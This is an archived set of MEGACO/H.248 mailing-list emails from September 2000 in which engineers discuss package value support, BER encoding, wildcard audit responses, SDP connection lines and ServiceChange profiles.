> > > Any comments/ideas/statements to correct my misconceptions? ;)
> > >
> > > Regards,
> > >
> > > Kevin Boyle
> > > CS2K Line Services
> > > Nortel Networks
> > >
> > > Flemming Andreasen wrote:
> > >
> > > Christian Groves wrote:
> > >
> > > > G'Day all,
> > > >
> > > > There has been some confusion at the SG16 on what is supported in
> > > > Packages.
> > > >
> > > > The understanding that I had was that: If you support a
> > package you must
> > > > support all the signals, properties, events and statistics.
> > >
> > > Agreed.
> > >
> > > > However you
> > > > do not have to support all the values associated with the
> > properties and
> > > > parameters.
> > >
> > > I guess the term "values" is somewhat prone to
> > interpretation, but I would
> > > tend to disagree if we refer to a list of well-defined
> > values, as e.g. a
> > > list of tone ids in E.7.
> > >
> > > >
> > > >
> > > > Tom mentioned that a thread discussed on the list
> > contravened this.
> > > >
> > > > The reasoning that I have for not having to support all
> > the values is
> > > > the following:
> > > > o Proliferation of packages. Eg: if a package has a list
> > of tones, and I
> > > > must support all the values, if I only want to support a
> > subset of these
> > > > values then I need a new package. Therefore you may get
> > the case of a
> > > > package "Package Call Progress Tones E.7" where an MG
> > doesn't support
> > > > Payphone Recognition Tone because it doesn't have
> > payphones connected to
> > > > it.
> > >
> > > However, in this parcticular example, the tones are both
> > signals and tone
> > > ids, so the effect would be the same. While I'm not
> > particularly fond of the
> > >
> > > tonegen package, it does nevertheless illustrate an
> > important point, namely
> > > that the distinction between signals, and parameters to
> > signals (and similar
> > >
> > > for other constructs) is somewhat arbitrary. The package
> > really gives you
> > > two things:
> > > 1. A name space
> > > 2. A convenient grouping of some set of "properties"
> > >
> > > If we don't know exaclty what those "properties" are, then
> > we've lost a very
> > >
> > > important aspect of packages.
> > >
> > > > To be compliant with H.248 I can't extend the package
> > because I want
> > > > to remove the payphone tone. So a new Package needs to be defined
> > > > containing exactly the same information but without the
> > payphone tone.
> > > > Now my MG won't support the standard Call Progress Tone
> > package but will
> > > > support the XXX_companies_Call_Progress_Tone package.
> > This would lead to
> > > > a proliferation of packages.
> > >
> > > I agree, but we have to ask ourselves what the idea about
> > packages is.
> > > Simplicity and flexibility are often at odds with each
> > other and in this
> > > case stress the importance of defining packages very carefully.
> > >
> > > If I no longer know exactly what is supported in a package,
> > how do I go
> > > about using that package ?
> > >
> > > >
> > > >
> > > > o Multiple GW support - One MG may not implement all the
> > values of a
> > > > property. For something like a list of codecs, a group of
> > resources
> > > > associated with the value may be placed in different MG
> > GWs. ie. GSM
> > > > codecs in MG1, PCM codecs in MG2. So whilst the MGs
> > support the same
> > > > package properties, they can't support a subset of values
> > then you'd
> > > > need to define a different package for each MG
> > configuration. Again
> > > > leading to a proliferation of packages.
> > >
> > > Back to defining what "values" mean. Obviously, if we
> > define a "codec"
> > > property in a package, we can't expect support for every
> > possible codec in
> > > the world.
> > >
> > > Maybe there's a distinction between supporting values for
> > events, signals,
> > > statistics, and properties ?
> > >
> > > >
> > > >
> > > > o The MGC knows the PackageID, that all Properties,
> > Signals, Events,
> > > > Statistics are supported. In H.248 we have the AuditCapability and
> > > > AuditValue commands to find out what actual values of
> > properties are
> > > > supported.
> > >
> > > Not sure how you would do that with event and signal
> > parameters though (come
> > >
> > > to think of it, I'm not sure how you, in practice, do that
> > for a lot of
> > > parameters; "The appropriate descriptors, *with the
> > possible values for the
> > > Termination* are returned from AuditCapabilities", Section
> > 7.2.6). On the
> > > other, we could have a new property that looked similar, so
> > it's not clear
> > > it wouldn't apply there either.
> > >
> > > >
> > > >
> > > > So if people agree that not all values in a package need
> > to be supported
> > > > I propose to add some text to the implementor's guide:
> > > > Section 12.1 after 2nd Paragraph
> > > > "A MG SHALL support all Property, Signals & parameters, Events &
> > > > parameters and Statistics. A MG MAY support a subset of
> > property and
> > > > parameter values defined in the package unless specified
> > in a package."
> > >
> > > I don't want to deflate the package concept to the extent
> > this would seem to
> > >
> > > allow, but I agree there's an issue here. Further
> > discussion is needed
> > > before we make any change.
> > >
> > > -- Flemming
> > >
> > > >
> > > >
> > > > Cheers, Christian
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> >
> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 04:59:47 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA05901
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 04:59:45 -0400 (EDT)
Received: from standards (47.234.32.16:3450) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9082D@standards.nortelnetworks.com>; Wed, 6 Sep 2000 4:44:32 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19032 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 04:44:31 -0400
Received: from mars.hss.co.in (202.54.26.197:33059) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9082C@standards.nortelnetworks.com>; Wed, 6 Sep 2000 4:44:22
          -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e868w4h23322 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Wed, 6 Sep 2000 14:28:05 +0530
          (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256952.00304415 ; Wed, 6 Sep 2000 14:17:11 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256952.0030422C.00@sandesh.hss.hns.com>
Date:         Wed, 6 Sep 2000 14:27:19 +0530
Reply-To: svkumar@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shiv Kumar <svkumar@HSS.HNS.COM>
Subject:      ASN.1 BER
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi,

I wanted some clarifications regarding the binary encoding.

Is there a  possibility of the binary encoding method to change
from ASN.1 BER  to  PER ?

How was BER decided upon in the first place.
Was it because it was simple, albeit costly in terms of size ?

Also, can we have some sample dump of BER encoded messages ?
I have managed to get the encoded output for a sample binary
encoded message. My decoder has no problem in parsing it.
But how do I assure myself that this is the encoded output that
everybody is looking for.  :-)

Regards
Shiv Kumar
Hughes Software Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 05:12:41 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06033
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 05:12:38 -0400 (EDT)
Received: from standards (47.234.32.16:3450) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9084C@standards.nortelnetworks.com>; Wed, 6 Sep 2000 4:57:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19070 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 04:57:48 -0400
Received: from auemlsrv.firewall.lucent.com (auemail1.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9084B@standards.nortelnetworks.com>; Wed, 6 Sep 2000 4:57:48
          -0400
Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by
          auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id FAA07214
          for <MEGACO@standards.nortelnetworks.com>; Wed, 6 Sep 2000 05:10:48
          -0400 (EDT)
Received: from nlmail.nl.lucent.com (h135-85-78-211.lucent.com [135.85.78.211])
          by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          FAA07209 for <MEGACO@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          05:10:47 -0400 (EDT)
Received: from lucent.com (hzsgp35.nl.lucent.com [135.85.117.145]) by
          nlmail.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id LAA11316; Wed, 6 Sep
          2000 11:10:35 +0200 (MET DST)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D0D@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B609EF.32950A75@lucent.com>
Date:         Wed, 6 Sep 2000 11:10:07 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Transaction Reply Context=ALL, wilcard response
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Tom,

This is my understanding as well.  Relevant text appears in section
6.2.2:
        If individual responses are not required, a wildcard response
        may be requested.  In such a case, a single response is
        generated, which contains the UNION of all of the individual
        responses which otherwise would have been generated, with
        duplicate values suppressed.  For instance, given a Termination
        Ta with properties p1=a, p2=b and Termination Tb with
        properties p2=c, p3=d, a UNION response would consist of a
        wildcarded TerminationId and the sequence of properties p1=a,
        p2=b,c and p3=d.

Cheers,

John

Tom-PT Taylor wrote:
>
> I always understood the intent of "W-" to mean that the response would show
> unions at the most atomic level (i.e. per-parameter).  In other words, it
> was meant to show the range of values supported, not something intelligible
> on a per-session basis.  I have to admit that it isn't necessarily clear
> what a "parameter" is in SDP (i.e.) would all "a=fmtp:" be collapsed into
> one list?
>
> > -----Original Message-----
> > From: Shalini Philip [mailto:sphilip@GLOBESPAN.NET]
> > Sent: Tuesday, September 05, 2000 4:21 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Transaction Reply Context=ALL, wilcard response
> >
> >
> > Hello Brian, Christian & list.
> >
> >         The example given below shows multiple Statistics
> > descriptors in
> > the descriptor list for a command reply. I believe,
> > the common understanding is that only the digit map descriptor and the
> > error descriptors are the only two descriptors
> > which can be repeated. If other descriptors can also be repeated, then
> > we can have multiple Mux descriptors, if the
> > MG supports multiple MUX types.
> > Also since it is not feasible to take the union of SDP definitions in
> > local and remote descriptors, I guess we can even have
> > multiple local and remote descriptors , or do we put them as multiple
> > SDP definitions in the same local/remote descriptor.
> >
> > Thanks & Regards,
> >   Shalini Philip.
> >
> >
> > "Rosen, Brian" wrote:
> >
> > >  I don't think you can do a subtract with CHOOSE.
> > > You could use ALL, but not choose.
> > >
> > > If you ask for a wildcard response, I think you get one response per
> > > value found, if they are different.  Since you get statistics on
> > > results, any identical statistics reports would only be
> > > repeated once.  So. assuming you used ALL, I'd expect:
> > > C=1{Subtract=*{Statistics{...}, Statistics{...}....}.
> > > C=2{...
> > > ....
> > >
> > > -----Original Message-----
> > > From: Christian Groves
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Sent: 9/3/00 9:22 PM
> > > Subject: Transaction Reply Context=ALL, wilcard response
> > >
> > > G'Day all,
> > >
> > > Perhaps someone can provide a clarification.
> > >
> > > In the scenario where I do a
> > > SUB(Context=ALL,Termination=?,),Wildcard-response.
> > >
> > > Do I get in the transaction reply?
> > >
> > > a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]
> > >
> > > or
> > >
> > > b)   multiple commands replies
> > >        TransactionReply[SUB(Context=1,Termination=?),
> > >                         SUB(Context=2,Termination=?)
> > >                         :
> > >                         SUB(Context=*,Termination=?)
> > >
> > > There's some ambiguity in the text.
> > >
> > > Cheers, Christian
> > >
> > > Notice to Recipient:
> > > This message is intended only for the use of the Addressee
> > > and may contain information that is proprietary and confidential
> > > and/or privileged by law. If you received this e-mail in error,
> > > any review, use, dissemination, distribution or copying of this
> > > e-mail is strictly prohibited. If you have received this e-mail in
> > > error, please notify us immediately of the error by return e-mail
> > > and please delete this message and all attachments from your system.
> > > Thank you.
> >
> > --
> > Regards,
> >
> > Shalini Philip
> > Globespan Inc.
> > E-Mail : mailto:sphilip@globespan.net
> > Web    : http://www.globespan.net
> >

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 05:25:33 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06111
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 05:25:26 -0400 (EDT)
Received: from standards (47.234.32.16:3450) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9086D@standards.nortelnetworks.com>; Wed, 6 Sep 2000 5:10:36 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19103 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 05:10:36 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90866@standards.nortelnetworks.com>; Wed, 6 Sep 2000 5:00:35
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id FAA02445; Wed, 6 Sep 2000 05:13:34 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id FAA12548; Wed, 6 Sep 2000 05:13:36 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHQS2>; Wed, 6 Sep 2000 05:13:37 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <9523A991F7AED311A8B900508B6701F4378824@dl-msgusr-01.eu.fore.com>
Date:         Wed, 6 Sep 2000 05:10:56 -0400
Reply-To: "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
Subject:      Re: Is Media required on the Physical Termination/Default value f
              or M ODE
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

My understanding of the SDP ABNF is that the c= line is mandatory at either
the session level or the media level and it strictly specifies it to be

   connection-field =    ["c=" nettype space addrtype space
                         connection-address CRLF]

which doesn't allow an empty line after the c= ....

Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com>  -


> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Tuesday, September 05, 2000 7:40 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Is Media required on the Physical
> Termination/Default value
> f or M ODE
>
>
> Why not send a blank "c=" line?
>
> -----Original Message-----
> From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
> Sent: Tuesday, September 05, 2000 12:23 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Is Media required on the Physical
> Termination/Default value f
> or M ODE
>
>
> I wonder if someone could help me out ... I have another
> issue with standard
> SDP. If you are using Megaco in conjuction with H.323 you
> will probably want
> an MGC to ask the MG to reserve resources after receiving a Terminal
> Capability message. When specifing a remote descriptor you
> are currently
> required either to give the remote MG's IP address or use the CHOOSE
> character, but you don't receive the remote MGs IP address
> until later when
> Open Logical Channel messages are exchanged and you're
> certainly not asking
> it to choose the remote address. Is there a need for a not specified
> character (such as '-' ) similar to whats being proposed for ATM ?
>
>
> Michael Mackey,
> Marconi Communications,
> Tel: +353 1 6638407
> - www.marconi.com <http://www.marconi.com/>  -
>
> -----Original Message-----
> From: Rosen, Brian
> Sent: Tuesday, August 29, 2000 10:07 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Is Media required on the Physical
> Termination/Default value f
> or M ODE
>
>
> That's an acceptable default, which almost forces the MGC to set it to
> something
> else in order to get media to flow.
>
> Brian
>
> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> Sent: Tuesday, August 29, 2000 4:57 PM
> To: Rosen, Brian; megaco@standards.nortelnetworks.com
> Subject: RE: Is Media required on the Physical
> Termination/Default value f
> or M ODE
>
>
>
> Sorry, Brian, the natural default is "inactive".  It does seem that we
> failed to specify the defaults in 7.1.7, even though section
> 6.2.4 promises
> that we would.
>
> > -----Original Message-----
> > From: Rosen, Brian [ mailto:Brian.Rosen@MARCONI.COM
> <mailto:Brian.Rosen@MARCONI.COM> ]
> > Sent: Tuesday, August 29, 2000 4:30 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value
> > f or M ODE
> >
> >
> > Okay, so what would you expect to happen if you audited media of
> > the physical termination.  Even if there was no default, it should
> > be one of the legal states.
> >
> > Now, suppose it's in an acceptable state, should you have to send
> > a media descriptor?
> >
> > What the folks who implemented the MG requiring the media descriptor
> > say is that "there is no mode, you haven't set it".  I can't deal
> > with that, because audit has to return a value.  So it has to be
> > something, and the MGC should be able to leave it, right?
> >
> > Now, I said I think MGCs should always send media!
> >
> > Brian
> >
> >
> >
> > > -----Original Message-----
> > > From: Michael Thomas [ mailto:mat@cisco.com
<mailto:mat@cisco.com> ]
> > Sent: Tuesday, August 29, 2000 4:25 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Is Media required on the Physical
> > Termination/Default value for
> > M ODE
> >
> >
> >
> > My general take has been that the MGC shouldn't
> > assume much about the MG. If it wants the MG to
> > do something, it should tell it. If it doesn't
> > know the MG's state, it should audit it.
> > Therefore, I think I disagree with the spec
> > requiring some set of semantics for underspecified
> > commands. What's the gain?
> >
> >               Mike
> >
> > Rosen, Brian writes:
> >  > Another issue from the event:
> >  >
> >  > Is it REQUIRED that the MGC send a media descriptor to a PHYSICAL
> >  > termination in order to get media to flow?
> >  >
> >  > There are two questions actually:
> >  > 1) Is there a default state of MODE (text is silent)
> >  > 2) Should the MG demand a media descriptor before allowing
> > media flow?
> >  >
> >  > I believe:
> >  > 1) The default for MODE is SendRecieve
> >  > 2) MGCs should always send a media descriptor, with at
> least a MODE
> >  > setting
> >  > 3) MGs should not depend on 2)
> >  >
> >  > Brian
> >  >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 07:44:02 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08556
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 07:43:57 -0400 (EDT)
Received: from standards (47.234.32.16:3608) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB908D4@standards.nortelnetworks.com>; Wed, 6 Sep 2000 7:29:10 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19240 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 07:29:10 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB908D3@standards.nortelnetworks.com>; Wed, 6 Sep 2000 7:29:10
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id HAA07867; Wed, 6 Sep 2000 07:42:08 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id HAA25753; Wed, 6 Sep 2000 07:42:08 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SKAZ5G5R>; Wed, 6 Sep 2000 07:42:06 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678800@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 6 Sep 2000 07:42:00 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Profiles in Service Change
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Actually, except for the unfortunate plan to develop an
profile for BICC, I think you are proving my point.
A trunk gateway conforming to the MSF Trunk Gateway Profile
could be used by an MGC that used any of your listed protocols
to communicate with another MGC.  The idea that the MG should
have to know what the interMGC protocol is strikes me
as a VERY bad idea.

The IPphone is an MG profile, and a phone conforming to the
Ipphone profile could be used with an MGC that used H.323,
SIP, BICC or other interMGC protocols.

I do believe that there will be some "private" profiles.
A carrier for example, might develop a profile, and demand
that vendors conform to it.  That might lead a vendor to
support more than one profile in an MG, but I suspect that
such use will depend on a lot of provisioning anyway, and
will thus not be a problem for the MG.  I also suspect there
will be a couple of competing profiles for common gateway
types, which might cause some confusion for a while.

Finally, I suspect that many vendors will have private profiles
which would make use of some special capabilities, but are otherwise
supersets of a more "standard" profiles.  If such
vendors can get MGCs to support them, fine.  Otherwise
such profiles will not fare well in the market.

One way to get around the limitation is to try to get
service using the most "featurefull" profile.  If you fail
to find an MGC that can serve that profile, try again with
a different profile.

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Wednesday, September 06, 2000 12:36 AM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> G'Day Brian,
>
> So does that mean that nobody can make an MG which supports more than
> one profile? :-)
>
> This seems to be a pretty big limitation to me. I know
> several companies
> are developing MGs that are capable of being used in many different
> scenarios. If one MGC can support H323-SIP, Sip-BICC, BICC-ISUP, VoDSL
> Access, IpPhone, BICC-3gPP and the permutations of these I
> don't see why
> the MG can only support one profile. I don't see that the
> development of
> one profile to support all these possibilities is realistic
> but I do see
> that a MG could support as these different accesses.
>
> In the real world MGs will support multiple profiles and I
> think we need
> to give advise in the Implementor's guide how this fits in with the
> limited profile mechanism we have in H248v1.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > I do NOT consider it to be an error, and I think the whole idea
> > of Profile is that an MG implements one.  The MGC, of course,
> > can implement many (if it serves several kinds of gateways).
> >
> > While such a restriction could lead to lots of private profiles,
> > it could also lead to a few commonly implemented profiles.
> > The package mechanism is a wonderful thing, but it leads to
> > lots of options, which leads to incompatible MGs and MGCs.
> > Profiles are the way to group options into implement able sets
> > so that MGs and MGCs can interoperate.
> >
> > If you have multiple profiles, then you might as well just
> > have no profiles - the ServiceChange could return the package list.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > Sent: Monday, September 04, 2000 8:58 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Profiles in Service Change
> > >
> > >
> > > G'Day all,
> > >
> > > I discussion on another email exploder (MSF) it was pointed
> > > out that the
> > > ServiceChange only supports one profile to be returned. I
> would have
> > > thought that a MG could support more than one profile.
> > >
> > > Do people consider this to be an error to be updated in the
> > > implementor's guide?
> > >
> > >
> > > If so the following changes probably would be necessary.
> > >
> > > 7.2.8 ServiceChange
> > > The optional ServiceChangeProfile parameter specifies the
> Profile[/s]
> > > (if any) of the protocol supported.  The
> ServiceChangeProfile includes
> > > the version of the profile supported.
> > >
> > > A.2
> > > ServiceChangeParm ::= SEQUENCE
> > > {
> > >         serviceChangeMethod     ServiceChangeMethod,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF
> > > ServiceChangeProfile OPTIONAL,
> > >         serviceChangeReason     Value,
> > >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
> > >                                     -- 32 bit unsigned integer
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         timeStamp               TimeNotation OPTIONAL,
> > >         nonStandardData         NonStandardData OPTIONAL,
> > >         ...
> > > }
> > >
> > > ServiceChangeResParm ::= SEQUENCE
> > > {
> > >         serviceChangeMgcId      MId OPTIONAL,
> > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > >>      serviceChangeProfile    SEQUENCE OF
> > > ServiceChangeProfile OPTIONAL,
> > >         ...
> > > }
> > >
> > > B.2
> > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> SLASH Version
> > >
> > >
> > > Cheers, Christian
> > >
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 07:44:07 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08570
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 07:44:04 -0400 (EDT)
Received: from standards (47.234.32.16:3608) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB908E8@standards.nortelnetworks.com>; Wed, 6 Sep 2000 7:30:28 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19211 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 07:30:28 -0400
Received: from mailserv.intranet.GR by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB908BC@standards.nortelnetworks.com>; Wed, 6 Sep 2000 7:20:28
          -0400
Received: from ifaistos.intranet.gr by mailserv.intranet.GR with ESMTP
          (8.8.8/ICM-mailhub-1.0) id OAA20472; Wed, 6 Sep 2000 14:30:42 +0300
          (EET DST)
Received: from pcrnd46 (pcrnd46 [146.124.20.92]) by ifaistos.intranet.gr
          (8.9.1b+Sun/8.9.1) with SMTP id OAA25538 for
          <MEGACO@standards.nortelnetworks.com>; Wed, 6 Sep 2000 14:32:42 +0300
          (EET DST)
References:  <65256952.0030422C.00@sandesh.hss.hns.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-7"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.3825.400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.3825.400
Message-ID:  <002a01c017f5$76e1a6a0$5c147c92@intranet.gr>
Date:         Wed, 6 Sep 2000 14:27:38 +0300
Reply-To: Paraskevopoulos Pavlos <ppar@INTRANET.GR>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Paraskevopoulos Pavlos <ppar@INTRANET.GR>
Organization: INTRACOM S.A.
Subject:      ASN.1 compiler
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi,

I wonder if someone could inform me, where to find a ASN.1 to C compiler?

Thank you in advance.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 08:58:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA10824
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 08:57:58 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90940@standards.nortelnetworks.com>; Wed, 6 Sep 2000 8:42:51 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19380 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 08:42:50 -0400
Received: from qhars002.nortel.com (47.101.112.102:64520) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9093F@standards.nortelnetworks.com>; Wed, 6 Sep 2000 8:42:50
          -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 6 Sep 2000 13:54:53 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 6 Sep 2000 08:54:22 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PGBS1>; Wed, 6 Sep 2000 08:54:23 -0400
